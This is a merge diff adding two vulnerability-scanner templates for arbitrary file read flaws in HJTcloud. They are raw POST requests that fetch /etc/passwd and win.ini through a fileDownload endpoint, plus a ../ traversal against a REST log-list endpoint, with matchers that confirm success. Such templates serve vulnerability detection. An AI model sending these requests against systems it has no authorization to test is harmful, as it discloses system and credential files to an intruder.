Merge pull request #1567 from pikpikcu/patch-165

hjtcloud poc

vulnerabilities/other/hjtcloud-arbitrary-file-read.yaml

@@ -0,0 +1,43 @@
+id: hjtcloud-arbitrary-file-read
+
+info:
+  name: HJTcloud Arbitrary File Read
+  author: pikpikcu
+  severity: high
+  reference: https://mp.weixin.qq.com/s/w2pkj5ADN7b5uxe-wmfGbw
+  tags: hjtcloud,lfi
+
+requests:
+  - raw:
+      - |
+        POST /fileDownload?action=downloadBackupFile HTTP/1.1
+        Host: {{Hostname}}
+        Accept: application/json, text/plain, */*
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+        Content-Length: 20
+
+        fullPath=/etc/passwd
+
+      - |
+        POST /fileDownload?action=downloadBackupFile HTTP/1.1
+        Host: {{Hostname}}
+        Accept: application/json, text/plain, */*
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+        Content-Length: 20
+
+        fullPath=/Windows/win.ini
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "bit app support"
+        condition: or
+
+      - type: status
+        status:
+          - 200

vulnerabilities/other/hjtcloud-rest-arbitrary-file-read.yaml

@@ -0,0 +1,27 @@
+id: hjtcloud-rest-arbitrary-file-read
+
+info:
+  name: HJTcloud Arbitrary file read
+  author: pikpikcu
+  severity: low
+  reference: https://mp.weixin.qq.com/s/w2pkj5ADN7b5uxe-wmfGbw
+  tags: hjtcloud,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/him/api/rest/V1.0/system/log/list?filePath=../"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "name"
+          - "length"
+          - "filePath"
+        condition: and
+
+      - type: status
+        status:
+          - 200